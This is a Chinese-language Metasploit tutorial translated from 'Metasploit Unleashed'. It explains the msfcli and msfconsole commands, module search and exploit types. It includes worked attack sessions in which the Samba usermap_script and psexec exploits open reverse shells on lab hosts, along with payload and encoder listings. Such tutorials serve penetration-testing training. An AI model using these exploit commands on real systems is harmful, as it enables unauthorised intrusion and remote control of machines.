Metasploit 基础知识

整理此文档，纯粹出于兴趣爱好，如果有涉及版权的问题，请联系原文档的作者.

由于本人能力有限，文档中难免会有些错误，欢迎大家来信指正.

[原文]http://www.offensive-security.com/metasploit-unleashed/

Metasploit 基础知识

Metasploit 框架提供了多种不同的接口，每个接口都有自己的优势与不足。尽管如此，目前仍没有一个很好的接口用于使用 MSF（尽管 msfconsole 能够访问 Metasploit 的众多特性）。当然，了解熟悉 MSF 提供的所有接口，多工作还是很有效的。

Msfcli

Msfcli 为 framework 提供了一个强劲的命令行接口.

```
root@kali:~# msfcli -h
Usage: /opt/metasploit/msf3/msfcli <exploit_name> <option=value> [mode]
================================================================================

    Mode            Description
    ----            -----------
    (A)dvanced      查看模块可用的一些高级参数
    (AC)tions       显示附加模块的可用操作
    (C)heck         对所选模块进行常规检查
    (E)xecute       执行所选模块
    (H)elp          显示 Msfcli 帮助信息
    (I)DS Evasion   显示模块可用的 IDS 逃逸机制
    (O)ptions       显示模块参数选项
    (P)ayloads      显示模块可用的攻击载荷
    (S)ummary       显示模块的整体信息
    (T)argets       显示溢出模块可选的目标类型
```

msfcli 使用 “=” 为参数选项赋值，所有选项对大小写敏感。

```
root@kali:~# msfcli exploit/multi/samba/usermap_script
RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E
[*] Please wait while we load the module tree...

                  ##                                ###            ##     ##
 ##   ##   ####  ######  ####   #####    #####     ##     ####         ######
```

```
#######  ##   ##   ##   ##          ## ##   ##     ##    ##   ##    ###    ##
#######  ######   ##   #####    ####   ##   ##     ##    ##   ##    ##     ##
##  #  ##      ##   ##   ##   ##  ##       #####     ##    ##   ##    ##     ##
##    ##   ####  ###    #####    #####      ##    ####    ####    ####  ###
                                            ##


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
       =[ svn r15767 updated today (2012.08.22)

RHOST => 172.16.194.172
PAYLOAD => cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 ->
172.16.194.172:57682) at 2012-06-14 09:58:19 -0400

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC
2008 i686 GNU/Linux
```

如果你不清楚某个模块有哪些参数，可以在所选模块字符串后面加上大写字母'O'.

```
root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Please wait while we load the module tree...

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOST                    yes       The target address
   RPORT   139              yes       The target port
```

如果想要知道所选模块有哪些攻击载荷可用，可以在字符串后加大写字母'P'

```
root@bt:~# msfcli exploit/multi/samba/usermap_script P
[*] Please wait while we load the module tree...

Compatible payloads
```

```
==================

   Name                        Description
   ----                        -----------
   cmd/unix/bind_inetd         Listen for a connection and spawn a command shell (persistent)
   cmd/unix/bind_netcat        Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_netcat_ipv6   Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_perl          Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_perl_ipv6     Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_ruby          Continually listen for a connection and spawn a command shell via Ruby
   cmd/unix/bind_ruby_ipv6     Continually listen for a connection and spawn a command shell via Ruby
   cmd/unix/generic            Executes the supplied command
   cmd/unix/reverse            Creates an interactive shell through two inbound connections
   cmd/unix/reverse_netcat     Creates an interactive shell via netcat
   cmd/unix/reverse_perl       Creates an interactive shell via perl
   cmd/unix/reverse_python     Connect back and create a command shell via Python
   cmd/unix/reverse_ruby       Connect back and create a command shell via Ruby
```

其他可用的选项，请参阅”msfcli -h”

msfcli 的优点：

- 能够直接执行溢出和附加模块
- 对指定的任务很有效
- 有益于了解学习 MSF
- 为测试或开发一个新的溢出模块提供了便利
- 为完成一次性溢出提供了便利
- 如果你已了解溢出模块和所需选项，使用 msfcli 非常不错
- 在脚本和自动化操作中也很不错

msfcli 的不足：

- 很多方面并不像 msfconsole 那样出色
- 每次只能处理一个 shell
- 无法胜任客户端攻击任务
- 不支持 msfconsole 的高级自动化操作

Msfconsole

msfconsole 可能是 MSF 最流行的一个接口，它提供了一个高度集中的控制台，允许你显示 Metasploit 框架所有可用的参数选项。第一次接触 msfconsole 可能很吓着你，一旦你熟悉这些命令的语法，你就能体会到这个接口的强大。

内容

优点

- 唯一的一种能够访问 Metasploit 众多特性的途径
- 为 Metasploit 框架提供了一个基于命令行的接口
- 包含 MSF 众多特性且最稳定的接口
- 支持行读取，tab 功能及命令自动补全
- 可以执行某些外部命令

```
msf > ping -c 2 www.google.com
[*] exec: ping -c 2 www.google.com

PING www.google.com (173.194.72.147) 56(84) bytes of data.
64 bytes from tf-in-f147.1e100.net (173.194.72.147): icmp_seq=1 ttl=46
time=62.2 ms
64 bytes from tf-in-f147.1e100.net (173.194.72.147): icmp_seq=2 ttl=46
time=69.8 ms

--- www.google.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 62.274/66.039/69.805/3.774 ms
msf >
```

运行

运行 msfconsole，只需在命令行窗口输入'msfconsole'。
msfconsole 位于/opt/metasploit/apps/pro/msf3 目录。

```
root@kali:~# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|`."".
  II     6.     .P  :  .' / |  `.  :
  II     'T;. .;P'  '.'  /   |    `.'
  II      'T; ;P'    `. /    |    .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

msf >
```

帮助

使用'msfconsole -h'，查看参数的具体用法。

```
root@kali:/# msfconsole -h
Usage: msfconsole [options]

Specific options:
    -d                              Execute the console as defanged
    -r <filename>                   Execute the specified resource
file
    -o <filename>                   Output to the specified file
    -c <filename>                   Load the specified configuration
file
    -m <directory>                  Specifies an additional module
search path
    -p <plugin>                     Load a plugin on startup
```

```
    -y, --yaml <database.yml>        Specify a YAML file containing
database settings
    -M, --migration-path <dir>       Specify a directory containing
additional DB migrations
    -e <production|development>,     Specify the database environment
to load from the YAML
        --environment
    -v, --version                    Show version
    -L, --real-readline              Use the system Readline library
instead of RbReadline
    -n, --no-database                Disable database support
    -q, --quiet                      Do not print the banner on start
up

Common options:
    -h, --help                       Show this message
```

在 msfconsole 接口中使用'help' 或 '?'，可以查看可用命令列表。

```
msf > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    back          Move back from the current context
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    exit          Exit the console
    help          Help menu
    info          Displays information about one or more module
    irb           Drop into irb scripting mode
    jobs          Displays and manages jobs
    kill          Kill a job
    load          Load a framework plugin
    loadpath      Searches for and loads modules from a path
    makerc        Save commands entered since start to a file
    quit          Exit the console
    reload_all    Reloads all modules from all defined module paths
    resource      Run the commands stored in a file
...snip...
```

Tab 自动完成

设计开发 Msfconsole 的一个目的就是快速使用，其中的一个特性就是 tab 自动完成。由于可用模块有大量的分组，所以很难记住所需模块的名字和路径。同其他 shell 一样，输入你知道的内容，然后使用‘Tab’键，将会显示可用选项列表。Tab 自动完成功能依赖 ruby readline 扩展，几乎控制台下的所有命令都支持 tab 自动补全。

- use exploit/windows/dce
- use .*netapi.*
- set LHOST
- show
- set TARGET
- set PAYLOAD windows/shell/
- exp

```
msf > use exploit/windows/smb/ms
use exploit/windows/smb/ms03_049_netapi
use exploit/windows/smb/ms04_007_killbill
use exploit/windows/smb/ms04_011_lsass
use exploit/windows/smb/ms04_031_netdde
use exploit/windows/smb/ms05_039_pnp
use exploit/windows/smb/ms06_025_rasmans_reg
use exploit/windows/smb/ms06_025_rras
use exploit/windows/smb/ms06_040_netapi
use exploit/windows/smb/ms06_066_nwapi
use exploit/windows/smb/ms06_066_nwwks
use exploit/windows/smb/ms06_070_wkssvc
use exploit/windows/smb/ms07_029_msdns_zonename
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
use exploit/windows/smb/ms10_061_spoolss
msf > use exploit/windows/smb/ms08_067_netapi
```

Msfconsole Commands

Msfconsole 有许多不同的命令选项可供选择.

内容

back

当你完成某个模块的工作，或者不经意间选择了错误的模块，你可以使用‘back’命令来跳出当前模块。当然，这并不是必须的。你也可以直接转换到其他模块。

```
msf auxiliary(ms09_001_write) > back
msf >
```

```
msf  exploit(ms08_067_netapi) > use multi/handler
msf  exploit(handler) > use auxiliary/dos/windows/smb/ms09_001_write
msf  auxiliary(ms09_001_write) >
```

check

check 可以用于检测目标主机是否存在指定漏洞，这样的不用直接对他进行溢出。目前，支持 check 命令的 exploit 并不是很多。

```
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    172.16.194.134   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER,
SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
```

```
msf exploit(ms08_067_netapi) > check

[*] Verifying vulnerable status... (path: 0x0000005a
[*] System is not vulnerable (status:
[*] The target is not exploitable.
msf  exploit(ms08_067_netapi
```

connect

msfconsole 有一个小型的 netcat 克隆体，支持 SSL，proxies，pivoting，file sends。'connect'命令加 IP 地址和 Port，你就可以在 msfconsole 中与远程主机建立连接，等效于 netcat 和 telnet。

```
msf > connect 127.0.0.1 21
[*] Connected to 127.0.0.1:21
id
uid=0(root) gid=0(root) groups=0(root)
```

使用"connect -h"查阅具体参数列表

```
msf > connect -h
Usage: connect [options]

Communicate with a host, similar to interacting via netcat, taking
advantage of
any configured session pivoting.

OPTIONS:

    -C        Try to use CRLF for EOL sequence.
    -P <opt>  Specify source port.
    -S <opt>  Specify source address.
    -c <opt>  Specify which Comm to use.
    -h        Help banner.
    -i <opt>  Send the contents of a file.
    -p <opt>  List of proxies to use.
    -s        Connect with SSL.
    -u        Switch to a UDP socket.
    -w <opt>  Specify connect timeout.
    -z        Just try to connect, then return.
```

```
msf >
```

info

'info'命令可以查看模块的具体信息，包括所有选项，目标主机和一些其他的信息。在使用模块前，阅读模块相关的信息，有时候会达到不可预期的效果。

Info 获取的信息有：

- 作者和证书信息
- 漏洞参考(例如：CVE，BID 等)
- 模块使用攻击载荷时的限制

```
msf > info exploit/windows/smb/ms10_061_spoolss

       Name: Microsoft Print Spooler Service Impersonation
Vulnerability
     Module: exploit/windows/smb/ms10_061_spoolss
    Version: 15518
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent

Provided by:
  jduck <jduck@metasploit.com>
  hdm <hdm@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Windows Universal

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  PNAME                     no        The printer share name to use on
the target
  RHOST                     yes       The target address
  RPORT    445              yes       Set the SMB service port
  SMBPIPE  spoolss          no        The named pipe for the spooler
service

Payload information:
```

```
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits the RPC service impersonation vulnerability
  detailed in Microsoft Bulletin MS10-061. By making a specific DCE
  RPC request to the StartDocPrinter procedure, an attacker can
  impersonate the Printer Spooler service to create a file. The
  working directory at the time is %SystemRoot%\system32. An attacker
  can specify any file name, including directory traversal or full
  paths. By sending WritePrinter requests, an attacker can fully
  control the content of the created file. In order to gain code
  execution, this module writes to a directory used by Windows
  Management Instrumentation (WMI) to deploy applications. This
  directory (Wbem\Mof) is periodically scanned and any new .mof files
  are processed automatically. This is the same technique employed by
  the Stuxnet code found in the wild.

References:
  http://www.osvdb.org/67988
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2729
  http://www.microsoft.com/technet/security/bulletin/MS10-061.mspx

msf >
```

irb

使用命令'irb'，就可以进入 Ruby 的 shell 接口，这个特性有助于了解 Metasploit 的内部框架.

```
msf > irb
[*] Starting IRB shell...

>> puts "Metasploit-Ruby Shell"
Metasploit-Ruby Shell
=> nil
>> Framework::Version
=> "4.5.0-dev"
>> framework.modules.keys.length
=> 255
>>
```

jobs

任务指那些运行在后台的模块，’jobs’可以用于列举和终止这些任务。

```
msf > jobs -h
Usage: jobs [options]

Active job manipulation and interaction.

OPTIONS:

    -K        Terminate all running jobs.
    -h        Help banner.
    -i <opt>  Lists detailed information about a running job.
    -k <opt>  Terminate the specified job name.
    -l        List all running jobs.
    -v        Print more detailed info.  Use with -i and -l

msf >
```

load

load 命令用于从 Metasploit’s 插件目录加载一个插件.使用”key=val”形式来传递参数.

```
msf > load
Usage: load  [var=val var=val ...]

Loads a plugin from the supplied path.  If path is not absolute, fist
looks
in the user's plugin directory (/root/.msf4/plugins) then
in the framework root plugin directory (/opt/metasploit/msf3/plugins).
The optional var=val options are custom parameters that can be passed
to plugins.

msf > load pcap log
[*] PcapLog plugin loaded.
[*] Successfully loaded plugin: pcap_log
```

loadpath

'loadpath'命令可以使用指定的路径，加载第三方的模块.

```
msf > loadpath /home/secret/modules

Loaded 0 modules.
```

unload

解除先前加载的模块和扩展的命令。

```
msf > unload pcap_log
Unloading plugin pcap_log...unloaded.
```

resource

'resource'命令可以执行资源(批量)文件

```
msf > resource
Usage: resource path1 [path2 ...]

Run the commands stored in the supplied files.  Resource files may also
contain
ruby code between  tags.

See also: makerc

msf >
```

有些类似 Karmetasploit 这样的攻击，使用资源文件(karma.rc)来执行一系列的命令。稍后我们会探讨如何使用。

```
msf > resource karma.rc
[*] Processing karma.rc for ERB directives.
resource (karma.rc)> db_connect msf3:PASSWORD@127.0.0.1:7175/msf3
resource (karma.rc)> use auxiliary/server/browser_autopwn
...snip...
```

批量处理的文件极大的加快了开发测试和自动化大量任务的进度，我们也可以使用'-r'来指定一个批量文件.

```
root@kali:~# echo version > version.rc
root@kali:~# msfconsole -r version.rc



 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
      =[ svn r15767 updated today (2012.08.22)

[*] Processing version.rc for ERB directives.
resource (version.rc)> version
Framework: 4.4.0-dev.15205
Console  : 4.4.0-dev.15168
msf >
```

route

'route'命令，允许通过已建立的会话，建立 route 套接字，提供基本的隧道特性。

```
meterpreter > route -h
Usage: route [-h] command [args]

Display or modify the routing table on the remote machine.

Supported commands:

   add    [subnet] [netmask] [gateway]
   delete [subnet] [netmask] [gateway]
   list

meterpreter >
meterpreter > route

Network routes
==============

    Subnet           Netmask          Gateway
    ------           -------          -------
```

```
    0.0.0.0          0.0.0.0          172.16.1.254
    127.0.0.0        255.0.0.0        127.0.0.1
    172.16.1.0       255.255.255.0    172.16.1.100
    172.16.1.100     255.255.255.255  127.0.0.1
    172.16.255.255   255.255.255.255  172.16.1.100
    224.0.0.0        240.0.0.0        172.16.1.100
    255.255.255.255  255.255.255.255  172.16.1.100
```

search

msfconsole 包含一个基于正则查询的功能.如果你知道你想要查找的内容，你可以通过'关键字'来搜索。下面的输出，表明我们完成了一次 MS Bulletin MS09-011 的搜索.这个查询方法会通过字符串来定位模块名，描述，参考等.

```
      search ms08_067

Matching Modules
================

   Name                                Disclosure Date          Rank   Description
   ----                                ---------------          ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28 00:00:00 UTC  great  Microsoft Server
Service Relative Path Stack Corruption
```

help

你可以使用内置关键字进一步优化你的操作.

```
msf > help search
Usage: search [keywords]

Keywords:
  name      :  Modules with a matching descriptive name
  path      :  Modules with a matching path or reference name
  platform  :  Modules affecting this platform
  type      :  Modules of a specific type (exploit, auxiliary, or post)
  app       :  Modules that are client or server attacks
  author    :  Modules written by this author
  cve       :  Modules with a matching CVE ID
  bid       :  Modules with a matching Bugtraq ID
  osvdb     :  Modules with a matching OSVDB ID

Examples:
  search cve:2009 type:exploit app:client
```

```
msf >
```

name
使用 name 做为关键字进行查询

```
msf > search name:http_enum

Matching Modules
================

   Name                                  Disclosure Date  Rank    Description
   ----                                  ---------------  ----    -----------
   auxiliary/scanner/http/enum_delicious                  normal  Del.icio.us Domain Links (URLs)
Enumerator
   auxiliary/scanner/http/enum_wayback                    normal  Archive.org Stored Domain URLs


msf >
```

path
使用 path 进行关键字查询.

```
msf > search path:scada

Matching Modules
================

   Name                                          Disclosure Date  Rank     Description
   ----                                          ---------------  ----     -----------
   auxiliary/admin/scada/igss_exec_17            2011-03-21       normal   Interactive Graphical SCADA System
Remote Command Injection
   exploit/windows/scada/citect_scada_odbc       2008-06-11       normal   CitectSCADA/CitectFacilities ODBC
Buffer Overflow
...snip...
```

platform
使用 platform 作为关键字，查找指定平台可用模块.

```
msf > search platform:osx

Matching Modules
================

   Name                                  Disclosure Date          Rank       Description
   ----                                  ---------------          ----       -----------
   exploit/multi/browser/java_rhino      2011-10-18 00:00:00 UTC  excellent  Java Applet Rhino
Script Engine Remote Code Execution
   exploit/osx/browser/safari_file_policy  2011-10-12 00:00:00 UTC  normal     Apple Safari file://
Arbitrary Code Execution
```

type

使用 type 做为关键字，指定模块类型为 auxiliary， post， exploit 等进行查询.

```
msf > search type:post

Matching Modules
================

   Name                                                Disclosure Date          Rank    Description
   ----                                                ---------------          ----    -----------
   post/aix/hashdump                                                            normal  AIX Gather Dump Password
Hashes
   post/cisco/gather/enum_cisco                                                 normal  Gather Cisco Device General
Information
   post/linux/gather/checkvm                                                    normal  Linux Gather Virtual
Environment Detection
   post/linux/gather/enum_configs                                               normal  Linux Gather Configurations
```

author

以”author”做为关键字查询你最喜欢的作者.

```
msf > search author:thelightcosine@metasploit.com

Matching Modules
================

   Name                                                Disclosure Date          Rank       Description
   ----                                                ---------------          ----       -----------
   auxiliary/admin/vmware/poweroff_vm                                           normal     VMWare Power Off Virtual
Machine
   auxiliary/admin/vmware/poweron_vm                                            normal     VMWare Power On Virtual
Machine
   auxiliary/admin/vmware/tag_vm                                                normal     VMWare Tag Virtual Machine
   auxiliary/admin/vmware/terminate_esx_sessions                                normal     VMWare Terminate ESX Login
Sessions
   auxiliary/scanner/mssql/mssql_hashdump
                                    normal     MSSQL Password Hashdump
```

multiple

可以使用多个关键字进行查询，

```
msf > search cve:2011 author:jduck platform:linux
```

sessions

‘sessions’允许你列举，使用，杀掉已有的会话。会话可以是 shells，Meterreter，VNC 等.

```
msf > sessions -h
Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:

    -K         关闭所有会话
    -c <opt>   使用-i 指定某个会话执行这个命令,
    -d <opt>   从一个交互式的会话中分离出来
    -h         打印帮助信息
    -i <opt>   指定 ID 进入会话
    -k <opt>   关闭某个会话
    -l         列举所有活动的会话
    -q         静默模式
    -r         重置-i 指定会话对应的 the ring 缓冲区, 或所有的
    -s <opt>   对-i 会话执行脚本, 或所有
    -u <opt>   将 shell 转为 Meterpreter 会话
    -v         查看详细信息
```

set

'set'命令允许你配置 Framework 当前模块的选项和参数.

```
msf > use multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.100.137
LHOST => 192.168.100.137
msf  exploit(handler) > show options
```

Metasploit 允许你在执行 exploit 的时候设定一个编码器，在溢出代码开发过程中，你不确定哪个编码器对溢出代码有效时，这个就非常有用。

```
msf  exploit(ms09_050_smb2_negotiate_func_index) > show encoders

Compatible Encoders
===================

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
   generic/none                             normal     The "none" Encoder
   x86/alpha_mixed                          low        Alpha2 Alphanumeric Mixedcase Encoder
   x86/alpha_upper                          low        Alpha2 Alphanumeric Uppercase Encoder
```

```
   x86/avoid_utf8_tolower                  manual     Avoid UTF8/tolower
   x86/call4_dword_xor                     normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                       manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                        manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                        manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                           normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                         normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                   normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                            low        Non-Alpha Encoder
   x86/nonupper                            low        Non-Upper Encoder
   x86/shikata_ga_nai                      excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                   manual     Single Static Bit
   x86/unicode_mixed                       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
```

unset

'unset'与'set'命令相反，用于解除'set'先前的设定。可以使用'unset all'来移除所有已声明的变量。

```
msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set

Global
======

  Name     Value
  ----     -----
  RHOSTS   192.168.1.0/24
  THREADS  50

msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set

Global
======

No entries in data store.

msf >
```

setg

如果想要保存渗透过程中输入的内容，你可以使用 setg 设置全局变量，一旦设置，将在众多的 exploits 和 auxiliary 模块中生效。你可以使用’save’命令保存设置，，以便下次开启 msfconsole 时直接生效。

```
msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
```

```
msf > save
Saved configuration to: /root/.msf3/config
msf >
```

show

在 msfconsole 窗口输入’show’命令，可以查看 Metasploit 的每个模块.
Show 可查阅的模块类型有 all, encoders, nops, exploits, auxiliary, exploits, plugins, options.模块参数也可以查看，例如:advanced, evasion, targets, actions.

show payloads

```
msf > show payloads

Payloads
========

   Name                                    Disclosure Date  Rank    Description
   ----                                    ---------------  ----    -----------
   aix/ppc/shell_bind_tcp                                   normal  AIX Command Shell, Bind TCP Inline
   aix/ppc/shell_find_port                                  normal  AIX Command Shell, Find Port Inline
   aix/ppc/shell_interact                                   normal  AIX execve shell for inetd

msf > use windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > show payloads
```

show options

```
msf > use windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > show options
```

show targets

```
msf > use windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   10  Windows 2003 SP1 Japanese (NO NX)
   11  Windows 2003 SP2 English (NO NX)
   12  Windows 2003 SP2 English (NX)
...snip...
```

```
show advanced
```

```
msf exploit(ms08_067_netapi) > show advanced

Module advanced options:

   Name           : CHOST
   Current Setting:
   Description    : The local client address

   Name           : CPORT
   Current Setting:
   Description    : The local client port

...snip...
```

```
encoders
```

'show encoders'显示 MSF 内置可用的编码器.

```
msf > show encoders
Compatible Encoders
===================

   Name                    Disclosure Date  Rank        Description
   ----                    ---------------  ----        -----------
   cmd/generic_sh                           good        Generic Shell Variable Substitution Command Encoder
   cmd/ifs                                  low         Generic ${IFS} Substitution Command Encoder
   cmd/printf_php_mq                        manual      printf(1) via PHP magic_quotes Utility Command Encoder
   generic/none                             normal      The "none" Encoder
   mipsbe/longxor                           normal      XOR Encoder
   mipsle/longxor                           normal      XOR Encoder
   php/base64                               great       PHP Base64 encoder
   ppc/longxor                              normal      PPC LongXOR Encoder
```

```
   ppc/longxor_tag                          normal     PPC LongXOR Encoder
   sparc/longxor_tag                        normal     SPARC DWORD XOR Encoder
   x64/xor                                  normal     XOR Encoder
   x86/alpha_mixed                          low        Alpha2 Alphanumeric Mixedcase Encoder
   x86/alpha_upper                          low        Alpha2 Alphanumeric Uppercase Encoder
   x86/avoid_utf8_tolower                   manual     Avoid UTF8/tolower
   x86/call4_dword_xor                      normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                        manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                             low        Non-Alpha Encoder
   x86/nonupper                             low        Non-Upper Encoder
   x86/shikata_ga_nai                       excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                    manual     Single Static Bit
   x86/unicode_mixed                        manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                        manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
```

nops

'show nops'显示 Metasploit 可用 NOP 生成器.

```
msf > show nops
NOP Generators
==============

   Name              Disclosure Date  Rank    Description
   ----              ---------------  ----    -----------
   armle/simple                       normal  Simple
   php/generic                        normal  PHP Nop Generator
   ppc/simple                         normal  Simple
   sparc/random                       normal  SPARC NOP generator
   tty/generic                        normal  TTY Nop Generator
   x64/simple                         normal  Simple
   x86/opty2                          normal  Opty2
   x86/single_byte                    normal  Single Byte
```

use

当你决定启用某个模块时，可以使用'use'命令选择所需模块.'use'命令可以完成一个模块向另一个模块的切换.注意先前设置的全局变量对模块的影响.

Exploits

Metasploit 框架中的 exploits 可以分为两类： 主动型与被动型

主动型 exploits

主动型能够直接溢出特定主机.

- 暴力破解模块成功从受害者机器获得一个 shell 后，就会退出.
- 如果在执行过程中遇到错误，模块也会停止运行.
- 可以使用'-j'让一个模块在后台运行.

```
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
msf exploit(ms08_067_netapi) >
```

例如:

可以通过一组有效的证书(明文密码或者 hash)，从目标机获取一个反弹 shell.

```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'victim'...
[*] Uploading payload...
[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-
98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-
98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Obtaining a service manager handle...
```

```
[*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \hikmEeEM.exe...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.5:4444 ->
192.168.1.100:1073)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

注意：如果溢出失败，出现下面错误，

```
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode
```

引起的原因，可能有：

- UAC 安全设置
- 此溢出方法无效，可选用其他方法.

被动型 exploits

被动型 exploits，等待主机连接并对他进行溢出.

- 被动型 exploits 常见于浏览器，FTP 这样的客户端工具等.
- 被动型 exploits 可以用邮件发出去，等待连入.
- 查看被动型 exploits 建立的会话，可以使用'sessions -l'，使用'-i'可以进入指定的 shell 会话

```
msf exploit(ani_loadimage_chunksize) > sessions -l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.1.5:52647 -> 192.168.1.100:4444

msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
```

Using Exploits

如果想为一个 exploit 添加额外设置，可以使用'show'命令查看选项内容

Targets

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)
```

Payloads

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads

Compatible Payloads
===================

   Name                              Disclosure Date  Rank    Description
   ----                              ---------------  ----    -----------
   generic/custom                                     normal  Custom Payload
   generic/debug_trap                                 normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                             normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                          normal  Generic Command Shell, Reverse TCP
Inline
   generic/tight loop                                 normal  Generic x86 Tight Loop
   windows/adduser                                    normal  Windows Execute net user /ADD
...snip...
```

Options

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name    Current Setting  Required  Description
